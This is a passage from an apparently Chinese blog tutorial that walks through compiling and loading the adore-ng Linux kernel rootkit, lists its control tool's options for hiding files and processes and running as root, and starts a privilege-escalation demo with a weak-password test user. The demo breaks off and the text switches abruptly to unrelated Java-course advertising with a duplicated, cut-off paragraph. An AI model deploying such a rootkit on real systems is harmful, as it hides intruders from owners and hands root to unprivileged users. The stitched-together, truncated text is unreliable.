【运维安全】Linux下rootkit把木马程序的使用

[root@gaosh-1 adore]# cd adore-ng-master

[root@gaosh-1 adore-ng-master]#

3. 安装依赖包

[root@gaosh-1 adore-ng-master]# mount /dev/cdrom /mnt

mount: block device /dev/sr0 is write-protected, mounting read-only

[root@gaosh-1 adore-ng-master]#

安装内核模块：

[root@gaosh-1 adore-ng-master]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm

安装adore-ng

[root@gaosh-1 adore-ng-master]# ls

adore-ng.c ava.c libinvisible.h Makefile

adore-ng.h libinvisible.c LICENSE README.md

[root@gaosh-1 adore-ng-master]#

[root@gaosh-1 adore-ng-master]# make -j 4

注意这里无需执行make install

我们只需要加载相应的模块即可

[root@gaosh-1 adore-ng-master]# insmod adore-ng.ko

测试命令是否运行

[root@gaosh-1 adore-ng-master]# ./ava

Usage: ./ava {h,u,r,R,i,v,U} [file or PID]

I print info (secret UID etc)

h hide file ## 隐藏文件

u unhide file ## 取消隐藏

r execute as root ## 提权像root一样运行

R remove PID forever ## 删除PID

U uninstall adore

i make PID invisible ### 隐藏进程

v make PID visible

rootkit木马的使用

提权演示

实验步骤：

1. 创建普通用户便于测试，因为我们要用普通用户提权

2. 将adore-ng移动到可以让普通用户访问的目录，在root下普通用户没有权限

3. 使用r命令进行提权

4. 提权效果演示

1. 创建普通用户便于测试，因为我们要用普通用户提权

创建测试用户：

[root@gaosh-1 adore]# useradd zmgaosh;echo 123456 |passwd --stdin zmgaosh

useradd：用户“zmgaosh”已存在

更改用户 zmgaosh 的密码 。

passwd： 所有的身份验证令牌已经成功更新。

[root@gaosh-1 adore]#

2. 将adore-ng移动到可以让普通用户访问的目录，在root下普通用户没有权限

[root@gaosh-1 adore]# cp -r adore-ng-master /tmp/

[root@gaosh-1 adore]# chmod 777 /tmp/adore-ng-master/ -R 让普通用户有权限访问

3. 使用r命令进行提权

[root@gaosh-1 adore]# su - zmgaosh ## 切换到普通用户

[zmgaosh@gaosh-1 ~]$ cd /tmp/adore-ng-master/

[zmgaosh@gaosh-1 adore-ng-master]$

4. 提权效果演示

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数Java工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则几千的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年Java开发全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上Java开发知识点，真正体系化！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！

如果你觉得这些内容对你有帮助，可以扫码获取！！（备注Java获取）

最后

文章中涉及到的知识点我都已经整理成了资料，录制了视频供大家下载学习，诚意满满，希望可以帮助在这个行业发展的朋友，在论坛博客等地方少花些时间找资料，把有限的时间，真正花在学习上，所以我把这些资料，分享出来。相信对于已经工作和遇到技术瓶颈的朋友们，在这份资料中一定都有你需要的内容。

《互联网大厂面试真题解析、进阶开发核心学习笔记、全套讲解视频、实战项目源码讲义》点击传送门即可获取！
载学习，诚意满满，希望可以帮助在这个行业发展的朋友，在论坛博客等地方少花些时间找资料，把有限的时间，真正花在学习上，所以我把这些资料，分享出来。相信对于已经工作和遇到技术瓶颈的朋友们，在这份资料中一定都有你需要的内容。**

《互联网大厂面试真题解析、进阶开发核心学习笔记、全套讲解视频、实战项目源码讲义》点击传送门即可获取！